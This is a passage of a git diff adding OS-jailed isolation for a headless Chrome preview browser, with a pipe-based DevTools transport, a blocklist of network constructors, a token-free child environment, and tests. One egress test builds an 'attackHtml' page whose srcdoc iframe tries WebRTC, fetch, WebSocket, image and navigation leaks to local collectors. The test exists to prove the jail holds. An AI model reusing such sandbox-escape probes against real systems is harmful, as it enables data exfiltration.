+ socket.on('disconnect', () => {
+ closeGeneratedPreviewsForSocket(socket.id).catch((error) => {
+ console.error(`❌ Generated preview disconnect close failed: ${error.message}`);
+ });
+ });
+}
diff --git a/server/services/htmlComposition/browser.js b/server/services/htmlComposition/browser.js
index a9289bcf61..049c49267d 100644
--- a/server/services/htmlComposition/browser.js
+++ b/server/services/htmlComposition/browser.js
@@ -90,18 +90,55 @@ async function readSlice(asset, start, end) {
} finally { await handle.close(); }
}
+// Forwards a bounded description of a same-window postMessage, including a
+// recording blob stashed on the page. It does not fail the composition.
+const PREVIEW_BRIDGE_SCRIPT = `(() => {
+ addEventListener('message', (event) => {
+ const data = event.data;
+ if (!data || typeof data !== 'object' || event.source !== window) return;
+ if (data.blob instanceof Blob) window.__portosLastBlob = data.blob;
+ let meta = null;
+ if (data.meta && typeof data.meta === 'object') {
+ const duration = Number(data.meta.duration);
+ meta = { duration: Number.isFinite(duration) ? duration : null };
+ }
+ const payload = JSON.stringify({
+ type: typeof data.type === 'string' ? data.type.slice(0, 80) : '',
+ t: typeof data.t === 'number' && Number.isFinite(data.t) ? data.t : null,
+ message: typeof data.message === 'string' ? data.message.slice(0, 300) : '',
+ hasBlob: data.blob instanceof Blob,
+ meta,
+ }).slice(0, 2000);
+ try { globalThis.__portosPreview(payload); } catch { /* binding attaches with the document */ }
+ });
+})();`;
+
// `initScripts` run in every new document before its own scripts, after the
// sandbox guards (a read-only probe such as the overlay text check).
-export async function openComposition(directory, { signal, validateAssets, streamMedia = false, mediaMode = 'code-images-video', ownedBrowser = false, initScripts = [] } = {}) {
+// `isolation: 'required'` launches the OS-jailed preview browser. Render encodes
+// keep the legacy owned browser.
+export async function openComposition(directory, {
+ signal, validateAssets, streamMedia = false, mediaMode = 'code-images-video', ownedBrowser = false, initScripts = [],
+ isolation = 'legacy', contentSecurityPolicy, freezeNetworkConstructors = true, onEvent, previewBridge = false,
+ refuseUnknown = 'fail', lockLoopback = false,
+} = {}) {
const assets = await snapshotAssets(directory, { streamMedia });
validateAssets?.(assets);
signal?.throwIfAborted();
+ const connectOptions = {
+ signal, mediaMode, initScripts, contentSecurityPolicy, freezeNetworkConstructors, onEvent, previewBridge, refuseUnknown, lockLoopback,
+ };
if (ownedBrowser) {
const { launchCompositionBrowser } = await import('./ownedBrowser.js');
- const owner = await launchCompositionBrowser({ signal });
+ const owner = await launchCompositionBrowser({ signal, isolation });
try {
- const page = await connectComposition(assets, { signal, mediaMode, initScripts,
- version: { webSocketDebuggerUrl: owner.webSocketDebuggerUrl, 'User-Agent': 'HeadlessChrome/' } });
+ const page = await connectComposition(assets, {
+ ...connectOptions,
+ transport: owner.transport,
+ version: owner.transport
+ ? { 'User-Agent': 'HeadlessChrome/' }
+ : { webSocketDebuggerUrl: owner.webSocketDebuggerUrl, 'User-Agent': 'HeadlessChrome/' },
+ });
return { ...page, close: async options => {
try { await page.close(options); } finally { await owner.close(); }
} };
@@ -113,13 +150,16 @@ export async function openComposition(directory, { signal, validateAssets, strea
const response = await cdpRequest('/json/version');
if (!response.ok) throw new Error('Managed browser is unavailable');
const version = await response.json();
- return connectComposition(assets, { signal, mediaMode, version, initScripts });
+ return connectComposition(assets, { ...connectOptions, version });
}
-async function connectComposition(assets, { signal, mediaMode, version, initScripts = [] }) {
- const { webSocketDebuggerUrl } = version;
- if (!webSocketDebuggerUrl) throw new Error('Managed browser has no CDP endpoint');
- const ws = new WebSocket(webSocketDebuggerUrl, { handshakeTimeout: 10000 });
+async function connectComposition(assets, {
+ signal, mediaMode, version, initScripts = [], transport, contentSecurityPolicy, freezeNetworkConstructors = true,
+ onEvent, previewBridge = false, refuseUnknown = 'fail', lockLoopback = false,
+}) {
+ const { webSocketDebuggerUrl } = version || {};
+ if (!transport && !webSocketDebuggerUrl) throw new Error('Managed browser has no CDP endpoint');
+ const ws = transport || new WebSocket(webSocketDebuggerUrl, { handshakeTimeout: 10000 });
const pending = new Map();
let nextId = 0;
let failure;
@@ -145,7 +185,7 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
});
});
}
- const policyCsp = CSP.replace('img-src http: https:', mediaMode === 'code-only' ? "img-src 'none'" : 'img-src http: https:').replace("media-src 'self'", mediaMode !== 'code-images-video' ? "media-src 'none'" : "media-src 'self'");
+ const policyCsp = contentSecurityPolicy || CSP.replace('img-src http: https:', mediaMode === 'code-only' ? "img-src 'none'" : 'img-src http: https:').replace("media-src 'self'", mediaMode !== 'code-images-video' ? "media-src 'none'" : "media-src 'self'");
// The page may cancel a paused request (a source swapped or re-requested
// with CORS mid-load); its interception is then gone, which is not a fault.
const fulfill = response => send('Fetch.fulfillRequest', response).catch(error => {
@@ -165,6 +205,13 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
return;
}
// Do not continue even a failed request. Disconnect destroys the context.
+ // A generated preview answers unknown URLs with an empty local response
+ // so one stray image does not tear the page down; nothing is fetched.
+ if (refuseUnknown === 'empty') {
+ await fulfill({ requestId: params.requestId, responseCode: 204, body: '' });
+ onEvent?.({ method: 'Portos.refusedRequest', params: { url: String(params.request.url).slice(0, 200) } });
+ return;
+ }
throw new Error(`Refused composition request: ${params.request.url}`);
}
const size = Buffer.isBuffer(asset) ? asset.length : asset.size;
@@ -205,7 +252,11 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
fail(new Error('Composition browser target closed'));
} else if (message.sessionId === sessionId) {
if (message.method === 'Fetch.requestPaused') request(message.params).catch(fail);
- if (message.method === 'Runtime.bindingCalled') {
+ if (message.method === 'Runtime.bindingCalled' && message.params.name === '__portosPreview') {
+ let payload = {};
+ try { payload = JSON.parse(String(message.params.payload).slice(0, 2000)); } catch { payload = {}; }
+ onEvent?.({ method: 'Portos.preview', params: payload });
+ } else if (message.method === 'Runtime.bindingCalled') {
const payload = String(message.params.payload).slice(0, 300);
fail(new Error(message.params.name === '__portosFailure'
? `Composition drew cross-origin pixels into a WebGL texture, which the browser refused (${payload}). Load images and video with crossOrigin = 'anonymous' before drawing them.`
@@ -213,9 +264,12 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
}
if (message.method === 'Runtime.exceptionThrown') {
const details = message.params.exceptionDetails;
- fail(new Error(`Composition script failed: ${details.exception?.description ?? details.text}`));
+ const text = `Composition script failed: ${details.exception?.description ?? details.text}`;
+ if (previewBridge) onEvent?.({ method: 'Portos.pageError', params: { message: text.slice(0, 300) } });
+ else fail(new Error(text));
}
if (message.method === 'Inspector.targetCrashed') fail(new Error('Composition browser target crashed'));
+ if (message.method === 'Page.screencastFrame') onEvent?.(message);
}
} catch (error) { fail(error); }
});
@@ -253,7 +307,8 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
({ browserContextId: contextId } = await send('Target.createBrowserContext', {
disposeOnDetach: true,
// Defense in depth for browser-originated HTTP requests outside Fetch.
- proxyServer: 'http://127.0.0.1:9', proxyBypassList: '<-loopback>',
+ // Previews do not bypass loopback; the OS jail is the real UDP boundary.
+ proxyServer: 'http://127.0.0.1:9', ...(lockLoopback ? {} : { proxyBypassList: '<-loopback>' }),
}, null));
// Headless Chrome has no tab UI to hide. Give its compositor a foreground
// target: hidden targets can stall surface screenshots on Linux. Headed
@@ -265,11 +320,10 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
await send('Runtime.enable');
await send('Runtime.addBinding', { name: '__portosRefused' });
await send('Runtime.addBinding', { name: '__portosFailure' });
- await send('Page.addScriptToEvaluateOnNewDocument', { source: `(() => {
- const report = globalThis.__portosRefused;
- addEventListener('securitypolicyviolation', event => report(event.blockedURI));
- // WebRTC bypasses HTTP interception. No other realm can restore these:
- // CSP sandbox disallows frames, workers, popups and same-origin access.
+ if (previewBridge) await send('Runtime.addBinding', { name: '__portosPreview' });
+ const networkFreeze = freezeNetworkConstructors ? `
+ // WebRTC bypasses HTTP interception. A fresh srcdoc realm does not inherit
+ // this freeze; the preview OS jail is what denies that realm's UDP.
for (const key of ['RTCPeerConnection', 'webkitRTCPeerConnection', 'WebTransport']) {
Object.defineProperty(globalThis, key, { configurable: false, writable: false,
value: function() { report(key); throw new Error(key + ' is disabled in compositions'); } });
@@ -277,7 +331,11 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
for (const key of ['Worker', 'SharedWorker', 'WebSocket']) {
Object.defineProperty(globalThis, key, { configurable: false, writable: false,
value: function(url) { report(String(url)); throw new Error(key + ' is disabled in compositions'); } });
- }
+ }` : '';
+ await send('Page.addScriptToEvaluateOnNewDocument', { source: `(() => {
+ const report = globalThis.__portosRefused;
+ addEventListener('securitypolicyviolation', event => report(event.blockedURI));
+ ${networkFreeze}
// The sandbox's opaque origin makes every document asset cross-origin. A
// no-cors image or video taints any canvas it is drawn into, and a
// tainted canvas cannot become a WebGL texture (three.js swallows that
@@ -328,6 +386,7 @@ async function connectComposition(assets, { signal, mediaMode, version, initScri
}
}
})();` });
+ if (previewBridge) await send('Page.addScriptToEvaluateOnNewDocument', { source: PREVIEW_BRIDGE_SCRIPT });
for (const source of initScripts) await send('Page.addScriptToEvaluateOnNewDocument', { source });
await send('Fetch.enable', { patterns: [{ urlPattern: '*', requestStage: 'Request' }] });
const navigation = await send('Page.navigate', { url: `${ORIGIN}/index.html` });
diff --git a/server/services/htmlComposition/cdpPipe.js b/server/services/htmlComposition/cdpPipe.js
new file mode 100644
index 0000000000..92949336ca
--- /dev/null
+++ b/server/services/htmlComposition/cdpPipe.js
@@ -0,0 +1,58 @@
+import { EventEmitter } from 'node:events';
+
+/**
+ * WebSocket-shaped adapter for Chrome's `--remote-debugging-pipe`.
+ * Chrome reads commands from fd 3 and writes replies to fd 4. Messages are
+ * UTF-8 JSON terminated by a NUL byte. These pipes are not IP sockets, so the
+ * browser can run with every network address denied.
+ */
+export function createCdpPipeTransport(proc) {
+ const input = proc.stdio?.[3];
+ const output = proc.stdio?.[4];
+ const emitter = new EventEmitter();
+ let buffer = Buffer.alloc(0);
+ let open = true;
+ const fail = (error) => {
+ if (!open) return;
+ emitter.emit('error', error);
+ };
+ const onData = (chunk) => {
+ buffer = Buffer.concat([buffer, chunk]);
+ let index = buffer.indexOf(0);
+ while (index !== -1) {
+ const raw = buffer.subarray(0, index);
+ buffer = buffer.subarray(index + 1);
+ if (raw.length) emitter.emit('message', raw);
+ index = buffer.indexOf(0);
+ }
+ };
+ output?.on('data', onData);
+ output?.on('end', () => {
+ open = false;
+ transport.readyState = 3;
+ emitter.emit('close');
+ });
+ output?.on('error', fail);
+ input?.on('error', fail);
+ const transport = {
+ readyState: 1,
+ send(text, callback) {
+ if (!open || !input?.writable) {
+ callback?.(new Error('CDP pipe is closed'));
+ return;
+ }
+ input.write(Buffer.concat([Buffer.from(String(text), 'utf8'), Buffer.from([0])]), callback);
+ },
+ terminate() {
+ open = false;
+ transport.readyState = 3;
+ input?.destroy();
+ output?.destroy();
+ },
+ on: emitter.on.bind(emitter),
+ once: emitter.once.bind(emitter),
+ off: emitter.off.bind(emitter),
+ removeListener: emitter.removeListener.bind(emitter),
+ };
+ return transport;
+}
diff --git a/server/services/htmlComposition/ownedBrowser.js b/server/services/htmlComposition/ownedBrowser.js
index dd38befa1b..14573ca9bc 100644
--- a/server/services/htmlComposition/ownedBrowser.js
+++ b/server/services/htmlComposition/ownedBrowser.js
@@ -1,4 +1,5 @@
-import { mkdtemp, rm } from 'node:fs/promises';
+import { existsSync } from 'node:fs';
+import { mkdtemp, rm, access, constants } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { spawn } from '../../lib/childProcess.js';
@@ -6,6 +7,8 @@ import { safeChildProcessOptions } from '../../lib/processEnv.js';
import { killWithEscalation } from '../../lib/killWithEscalation.js';
import { browserExecutablePath } from '../../lib/browserConfig.js';
import { isVitestRunner } from '../../lib/runtimeEnv.js';
+import { PREVIEW_HOST_RESOLVER_SOCKETS, previewIsolationPlan } from '../../lib/generatedPreviewSandbox.js';
+import { createCdpPipeTransport } from './cdpPipe.js';
// Chrome refuses to run as root with its sandbox on. Only a Vitest worker
// running as root (a root dev/CI container) drops it, matching the test-owned
@@ -31,15 +34,57 @@ async function removeProfile(profile, attempts = 20, delayMs = 50) {
}
}
+// The preview browser must not inherit API tokens or the database password.
+// HOME and PATH stay so Chrome can start; the seatbelt or network namespace
+// still denies IP egress.
+function previewBrowserEnv() {
+ const env = { USER: 'portos-preview' };
+ for (const key of ['PATH', 'HOME', 'TMPDIR', 'TEMP', 'TMP', 'LANG', 'LC_ALL', 'SYSTEMROOT', 'WINDIR', 'COMSPEC', 'PATHEXT']) {
+ if (process.env[key]) env[key] = process.env[key];
+ }
+ return env;
+}
+
+async function readPreviewIsolationSupport() {
+ const executable = async (path) => access(path, constants.X_OK).then(() => true, () => false);
+ return {
+ platform: process.platform,
+ seatbeltAvailable: process.platform === 'darwin' && await executable('/usr/bin/sandbox-exec'),
+ bubblewrapAvailable: process.platform === 'linux' && await executable('/usr/bin/bwrap'),
+ hostResolverSockets: PREVIEW_HOST_RESOLVER_SOCKETS.filter((path) => existsSync(path)),
+ };
+}
+
+function isolationUnavailable(reason) {
+ const error = new Error(reason || 'Generated preview isolation is unavailable on this host');
+ error.code = 'PREVIEW_ISOLATION_UNAVAILABLE';
+ error.status = 503;
+ return error;
+}
+
// Only this child/profile belong to the render. Never discover processes by
// name, attach to a user profile, or restart the managed browsing service.
-export async function launchCompositionBrowser({ signal, startupMs = 20000, shutdownMs = 5000 } = {}) {
+// `isolation: 'legacy'` keeps the render browser's loopback DevTools port.
+// Generated previews pass `'required'` and talk CDP over pipes so loopback IP
+// can be denied too. `'off'` exists for the egress negative control.
+export async function launchCompositionBrowser({
+ signal, startupMs = 20000, shutdownMs = 5000, isolation = 'legacy', support,
+} = {}) {
signal?.throwIfAborted();
+ const piped = isolation !== 'legacy';
const { loadConfig } = await import('../browserService.js');
const executable = browserExecutablePath(await loadConfig());
signal?.throwIfAborted();
+ if (isolation === 'required' || isolation === 'os') {
+ const facts = support || await readPreviewIsolationSupport();
+ const probe = previewIsolationPlan({ ...facts, executable, profileDir: '/tmp/portos-preview', isolation });
+ if (!probe.supported) throw isolationUnavailable(probe.reason);
+ } else if (isolation !== 'legacy' && isolation !== 'off') {
+ throw isolationUnavailable('Unknown preview isolation mode');
+ }
const profile = await mkdtemp(join(tmpdir(), 'portos-composition-browser-'));
let proc;
+ let transport;
let exited = false;
let closed = false;
let spawned = false;
@@ -56,6 +101,10 @@ export async function launchCompositionBrowser({ signal, startupMs = 20000, shut
// Chrome helpers may retain inherited stderr after the browser exits.
// Release our pipe without signaling unrelated or discovered processes.
proc?.stderr?.destroy();
+ if (piped) {
+ proc?.stdio?.[3]?.destroy();
+ proc?.stdio?.[4]?.destroy();
+ }
};
const onClose = () => {
closed = true;
@@ -69,21 +118,30 @@ export async function launchCompositionBrowser({ signal, startupMs = 20000, shut
termination.error = safeSignalError(error);
if (!spawned && !proc?.pid) { onExit(); onClose(); }
};
+ const signalChild = (name) => {
+ // sandbox-exec / bwrap wait on Chrome. Signal the group, then the wrapper,
+ // so a helper cannot keep the profile open after close.
+ if (piped && proc?.pid) {
+ try { process.kill(-proc.pid, name); } catch { /* the wrapper kill below still runs */ }
+ }
+ return proc.kill(name);
+ };
const close = () => closing ??= (async () => {
signal?.removeEventListener('abort', abort);
let escalation;
let deadline;
try {
+ transport?.terminate();
if (proc && !closed) {
terminationStarted = performance.now();
const tracked = {
get exitCode() { return proc.exitCode; },
get signalCode() { return proc.signalCode; },
- kill(signal) {
- const key = signal === 'SIGTERM' ? 'term' : 'kill';
+ kill(name) {
+ const key = name === 'SIGTERM' ? 'term' : 'kill';
termination[key] = 'attempted';
try {
- const accepted = proc.kill(signal);
+ const accepted = signalChild(name);
termination[key] = accepted ? 'accepted' : 'refused';
return accepted;
} catch (error) {
@@ -114,26 +172,42 @@ export async function launchCompositionBrowser({ signal, startupMs = 20000, shut
const abort = () => { close().catch(() => {}); };
try {
signal?.throwIfAborted();
- proc = spawn(executable, [
+ const facts = piped ? (support || await readPreviewIsolationSupport()) : null;
+ // Chrome cannot stack its process sandbox inside Seatbelt or bubblewrap:
+ // sandbox_init fails with EPERM and the renderer, network, and GPU
+ // processes crash. The outer jail is the egress boundary, so only those
+ // launches pass --no-sandbox. Legacy renders keep Chrome's sandbox.
+ const jailed = isolation === 'required' || isolation === 'os';
+ const plan = piped ? previewIsolationPlan({
+ ...facts, executable, profileDir: profile, dropSandbox: sandboxArgs().length > 0 || jailed, isolation,
+ }) : null;
+ if (piped && (isolation === 'required' || isolation === 'os') && !plan.supported) throw isolationUnavailable(plan.reason);
+ const command = piped ? plan.command : executable;
+ const args = piped ? plan.args : [
'--headless=new', ...sandboxArgs(), '--remote-debugging-address=127.0.0.1', '--remote-debugging-port=0',
`--user-data-dir=${profile}`, '--no-first-run', '--no-default-browser-check',
'--mute-audio', '--disable-background-networking', '--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows', '--disable-renderer-backgrounding', 'about:blank',
- ], safeChildProcessOptions({ stdio: ['ignore', 'ignore', 'pipe'] }));
+ ];
+ proc = spawn(command, args, piped
+ ? { stdio: ['ignore', 'ignore', 'pipe', 'pipe', 'pipe'], env: previewBrowserEnv(), detached: true }
+ : safeChildProcessOptions({ stdio: ['ignore', 'ignore', 'pipe'] }));
proc.once('spawn', () => { spawned = true; });
proc.once('exit', onExit);
proc.once('close', onClose);
proc.on('error', onError);
- const webSocketDebuggerUrl = await new Promise((resolve, reject) => {
+ if (piped) transport = createCdpPipeTransport(proc);
+ const ready = await new Promise((resolve, reject) => {
let tail = '';
const timer = setTimeout(() => finish(new Error('Composition browser startup exceeded its deadline')), startupMs);
- const finish = (error, endpoint) => {
+ const finish = (error, value) => {
clearTimeout(timer);
- proc.stderr.removeListener('data', onData);
+ proc.stderr?.removeListener('data', onData);
+ transport?.removeListener('message', onHandshake);
proc.removeListener('error', fail);
proc.removeListener('exit', stopped);
signal?.removeEventListener('abort', canceled);
- error ? reject(error) : resolve(endpoint);
+ error ? reject(error) : resolve(value);
};
const fail = error => finish(new Error(`Composition browser failed to start (${error.code || 'spawn error'})`));
const stopped = () => {
@@ -144,12 +218,26 @@ export async function launchCompositionBrowser({ signal, startupMs = 20000, shut
const canceled = () => finish(signal.reason ?? new Error('Render canceled'));
const onData = bytes => {
tail = (tail + bytes.toString()).slice(-8192);
+ if (piped) return;
// No paths or raw browser output are copied into errors. An endpoint must
// be loopback and come from this child's complete DevTools line.
const match = tail.match(/(?:^|\n)DevTools listening on (ws:\/\/127\.0\.0\.1:\d+\/devtools\/browser\/[a-zA-Z0-9-]+)\r?\n/);
if (match) finish(null, match[1]);
};
- proc.stderr.on('data', onData);
+ const onHandshake = (bytes) => {
+ let message;
+ try { message = JSON.parse(bytes.toString()); } catch { return; }
+ if (message.id !== 0) return;
+ if (message.error) finish(new Error('Composition browser did not answer its startup handshake'));
+ else finish(null, message.result || {});
+ };
+ proc.stderr?.on('data', onData);
+ if (piped) {
+ transport.on('message', onHandshake);
+ transport.send(JSON.stringify({ id: 0, method: 'Browser.getVersion' }), (error) => {
+ if (error) finish(new Error('Composition browser failed to start (pipe)'));
+ });
+ }
proc.once('error', fail);
proc.once('exit', stopped);
signal?.addEventListener('abort', canceled, { once: true });
@@ -158,10 +246,11 @@ export async function launchCompositionBrowser({ signal, startupMs = 20000, shut
});
// Drain subsequent diagnostics without retaining private output or letting
// Chrome block on a full stderr pipe during a song-length capture.
- proc.stderr.resume();
+ proc.stderr?.resume();
signal?.addEventListener('abort', abort, { once: true });
signal?.throwIfAborted();
- return { webSocketDebuggerUrl, close };
+ if (piped) return { transport, close, mechanism: plan.mechanism };
+ return { webSocketDebuggerUrl: ready, close };
} catch (error) {
await close();
throw error;
diff --git a/server/services/htmlComposition/ownedBrowser.test.js b/server/services/htmlComposition/ownedBrowser.test.js
index 2462b2189a..5b55a5eb73 100644
--- a/server/services/htmlComposition/ownedBrowser.test.js
+++ b/server/services/htmlComposition/ownedBrowser.test.js
@@ -158,6 +158,67 @@ describe('owned composition capture browser lifecycle', () => {
await expect(access(profile)).rejects.toThrow();
});
+ const answerHandshake = () => {
+ const pipeIn = new PassThrough();
+ const pipeOut = new PassThrough();
+ child.stdio = [null, null, child.stderr, pipeIn, pipeOut];
+ vi.spyOn(process, 'kill').mockImplementation(() => true);
+ pipeIn.on('data', (chunk) => {
+ if (!chunk.toString().includes('Browser.getVersion')) return;
+ pipeOut.write(Buffer.concat([
+ Buffer.from(JSON.stringify({ id: 0, result: { product: 'Chrome/1' } })),
+ Buffer.from([0]),
+ ]));
+ });
+ };
+
+ it('fails closed without spawning when the host cannot jail a preview', async () => {
+ await expect(launchCompositionBrowser({
+ isolation: 'required',
+ support: { platform: 'win32', seatbeltAvailable: false, bubblewrapAvailable: false },
+ })).rejects.toMatchObject({ code: 'PREVIEW_ISOLATION_UNAVAILABLE' });
+ expect(launch.spawn).not.toHaveBeenCalled();
+ });
+
+ it('launches the jailed pipe browser without a DevTools port or inherited tokens', async () => {
+ answerHandshake();
+ const owner = await launchCompositionBrowser({
+ isolation: 'required',
+ support: { platform: 'linux', seatbeltAvailable: false, bubblewrapAvailable: true },
+ });
+ expect(owner.mechanism).toBe('linux-bubblewrap');
+ const [executable, args, options] = launch.spawn.mock.calls[0];
+ expect(executable).toBe('/usr/bin/bwrap');
+ expect(args).toContain('--unshare-net');
+ expect(args).toContain('--remote-debugging-pipe');
+ expect(args).toContain('--no-sandbox');
+ expect(args.some((arg) => String(arg).includes('127.0.0.1:9'))).toBe(true);
+ expect(args.join('\n')).not.toContain('proxy-bypass');
+ expect(args).not.toContain('--remote-debugging-port=0');
+ expect(options.env.USER).toBe('portos-preview');
+ expect(options.env.PORTOS_API_TOKEN).toBeUndefined();
+ expect(options.detached).toBe(true);
+ await owner.close();
+ expect(process.kill).toHaveBeenCalledWith(-child.pid, 'SIGTERM');
+ });
+
+ it('keeps the egress negative control on the pipe without a jail or network flags', async () => {
+ answerHandshake();
+ const owner = await launchCompositionBrowser({
+ isolation: 'off',
+ support: { platform: 'linux', seatbeltAvailable: false, bubblewrapAvailable: false },
+ });
+ expect(owner.mechanism).toBe('none');
+ const [executable, args] = launch.spawn.mock.calls[0];
+ expect(executable).toBe('/synthetic/chrome');
+ expect(args).toContain('--remote-debugging-pipe');
+ expect(args.some((arg) => String(arg).includes('proxy-server'))).toBe(false);
+ expect(args.some((arg) => String(arg).includes('host-resolver'))).toBe(false);
+ expect(args.some((arg) => String(arg).includes('webrtc'))).toBe(false);
+ if (process.getuid?.() !== 0) expect(args).not.toContain('--no-sandbox');
+ await owner.close();
+ });
+
it('retries a transient profile removal failure so a resolved close means the profile is gone', async () => {
const owner = await launchCompositionBrowser();
vi.mocked(rm).mockRejectedValueOnce(Object.assign(new Error('busy'), { code: 'ENOTEMPTY' }));
diff --git a/server/services/htmlComposition/previewIsolation.egress.test.js b/server/services/htmlComposition/previewIsolation.egress.test.js
new file mode 100644
index 0000000000..18f5d95c3e
--- /dev/null
+++ b/server/services/htmlComposition/previewIsolation.egress.test.js
@@ -0,0 +1,251 @@
+/**
+ * Proves the preview worker cannot send UDP, HTTP, WebSocket, or navigation
+ * traffic, including from a fresh srcdoc realm (#11157).
+ *
+ * Constructor presence is not the proof. A loopback collector has to receive
+ * the negative control (no jail, no Chrome network flags) and receive nothing
+ * from the OS jail with those flags also absent. DNS is not a port-53 bind:
+ * on macOS, getaddrinfo must fail inside the profile for a name that resolves
+ * outside it, because mDNSResponder would send that query from outside the
+ * jail. The file is not a browser-suite gate: hosts without Chrome and
+ * Seatbelt or bubblewrap skip the browser proof, and previews fail closed.
+ */
+import { spawn } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { createServer } from 'node:http';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { createSocket } from 'node:dgram';
+import { describe, expect, it } from 'vitest';
+import { WebSocketServer } from 'ws';
+import { browserExecutablePath } from '../../lib/browserConfig.js';
+import { _previewSeatbeltProfile } from '../../lib/generatedPreviewSandbox.js';
+import { launchCompositionBrowser } from './ownedBrowser.js';
+
+const seatbelt = process.platform === 'darwin' && existsSync('/usr/bin/sandbox-exec');
+
+function runNode(scriptArgs, { jailed = false } = {}) {
+ const command = jailed ? '/usr/bin/sandbox-exec' : process.execPath;
+ const args = jailed
+ ? ['-p', _previewSeatbeltProfile(), process.execPath, ...scriptArgs]
+ : scriptArgs;
+ return new Promise((resolve, reject) => {
+ const child = spawn(command, args, {
+ stdio: ['ignore', 'pipe', 'pipe'],
+ env: { PATH: '/usr/bin:/bin:/usr/local/bin', TMPDIR: tmpdir() },
+ });
+ let stdout = '';
+ let stderr = '';
+ const timer = setTimeout(() => {
+ child.kill('SIGKILL');
+ reject(new Error(`probe timed out: ${stderr.slice(-400)}`));
+ }, 8000);
+ child.stdout.on('data', (chunk) => { stdout += chunk; });
+ child.stderr.on('data', (chunk) => { stderr += chunk; });
+ child.once('error', (error) => { clearTimeout(timer); reject(error); });
+ child.once('close', (code) => { clearTimeout(timer); resolve({ code, stdout, stderr }); });
+ });
+}
+
+const LOOKUP_SCRIPT = `
+import dns from 'node:dns/promises';
+const lookup = dns.lookup('example.com');
+const timer = new Promise((_, reject) => setTimeout(() => reject(Object.assign(new Error('timeout'), { code: 'TIMEOUT' })), 5000));
+try {
+ const found = await Promise.race([lookup, timer]);
+ console.log('dns:' + found.address);
+} catch (error) {
+ console.log('dns-error:' + (error.code || 'fail'));
+}
+`;
+
+describe.skipIf(!seatbelt)('seatbelt resolver denial', () => {
+ it('lets getaddrinfo succeed outside the profile and fail inside it, without IP sockets', async () => {
+ const open = await runNode(['--input-type=module', '-e', LOOKUP_SCRIPT]);
+ expect(open.code, open.stderr).toBe(0);
+ expect(open.stdout, 'outside lookup did not resolve, so an inside failure would not prove the deny').toMatch(/^dns:(?!error)/);
+
+ const sock = join(tmpdir(), `portos-seatbelt-${process.pid}.sock`);
+ const jailed = await runNode(['--input-type=module', '-e', `
+${LOOKUP_SCRIPT}
+import dgram from 'node:dgram';
+import net from 'node:net';
+import fs from 'node:fs';
+const udp = await new Promise((resolve) => {
+ const socket = dgram.createSocket('udp4');
+ socket.once('error', (error) => resolve('udp:' + error.code));
+ socket.send(Buffer.from('x'), 9, '127.0.0.1', (error) => {
+ try { socket.close(); } catch { /* already closed */ }
+ resolve(error ? 'udp:' + error.code : 'udp:sent');
+ });
+});
+const unix = await new Promise((resolve) => {
+ const server = net.createServer();
+ server.once('error', (error) => resolve('unix:' + error.code));
+ server.listen(${JSON.stringify(sock)}, () => {
+ server.close();
+ try { fs.unlinkSync(${JSON.stringify(sock)}); } catch { /* already gone */ }
+ resolve('unix:bound');
+ });
+});
+console.log(udp);
+console.log(unix);
+`], { jailed: true });
+ expect(jailed.code, jailed.stderr).toBe(0);
+ expect(jailed.stdout).toContain('dns-error:');
+ expect(jailed.stdout).not.toMatch(/^dns:\d|^dns:[0-9a-f:]/m);
+ expect(jailed.stdout).toContain('udp:EPERM');
+ expect(jailed.stdout).toContain('unix:bound');
+ }, 20000);
+});
+
+const chromePath = browserExecutablePath(null);
+const jailPath = process.platform === 'darwin' ? '/usr/bin/sandbox-exec' : process.platform === 'linux' ? '/usr/bin/bwrap' : '';
+const available = Boolean(jailPath) && existsSync(chromePath) && existsSync(jailPath);
+
+const listen = (server) => new Promise((resolve) => {
+ server.listen(0, '127.0.0.1', () => resolve(server.address().port));
+});
+
+async function collectors() {
+ const packets = [];
+ const udp = createSocket('udp4');
+ await new Promise((resolve) => udp.bind(0, '127.0.0.1', resolve));
+ udp.on('message', (msg) => packets.push(msg));
+ const httpHits = [];
+ const httpServer = createServer((req, res) => {
+ httpHits.push(req.url);
+ res.writeHead(204);
+ res.end();
+ });
+ const httpPort = await listen(httpServer);
+ const wsHits = [];
+ const ws = new WebSocketServer({ host: '127.0.0.1', port: 0 });
+ await new Promise((resolve) => ws.on('listening', resolve));
+ ws.on('connection', () => wsHits.push('open'));
+ return {
+ packets, httpHits, wsHits,
+ stunPort: udp.address().port,
+ httpPort,
+ wsPort: ws.address().port,
+ async close() {
+ udp.close();
+ for (const client of ws.clients) client.terminate();
+ ws.close();
+ // Chrome keep-alive from the negative control must not outlive the browser.
+ httpServer.closeAllConnections?.();
+ await new Promise((resolve) => httpServer.close(resolve));
+ },
+ };
+}
+
+function attackHtml({ stunPort, httpPort, wsPort }) {
+ const inner = `<!doctype html><script>
+ window.__nativeRtc = typeof RTCPeerConnection === 'function'
+ && Function.prototype.toString.call(RTCPeerConnection).includes('native code');
+ const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:127.0.0.1:${stunPort}' }] });
+ pc.createDataChannel('leak');
+ pc.createOffer().then((offer) => pc.setLocalDescription(offer));
+ fetch('http://127.0.0.1:${httpPort}/fetch').catch(() => {});
+ try { new WebSocket('ws://127.0.0.1:${wsPort}/'); } catch { /* refused */ }
+ const img = new Image();
+ img.src = 'http://127.0.0.1:${httpPort}/img';
+ setTimeout(() => { location.assign('http://127.0.0.1:${httpPort}/nav'); }, 500);
+ </script>`;
+ return `<!doctype html><iframe srcdoc="${inner.replace(/"/g, '&quot;')}"></iframe>`;
+}
+
+function cdp(transport) {
+ let next = 1;
+ const pending = new Map();
+ transport.on('message', (raw) => {
+ let message;
+ try { message = JSON.parse(raw.toString()); } catch { return; }
+ const waiter = pending.get(message.id);
+ if (!waiter) return;
+ pending.delete(message.id);
+ if (message.error) waiter.reject(new Error(message.error.message || 'CDP error'));
+ else waiter.resolve(message.result || {});
+ });
+ return (method, params = {}, sessionId) => new Promise((resolve, reject) => {
+ const id = next;
+ next += 1;
+ const timer = setTimeout(() => {
+ pending.delete(id);
+ reject(new Error(`CDP ${method} timed out`));
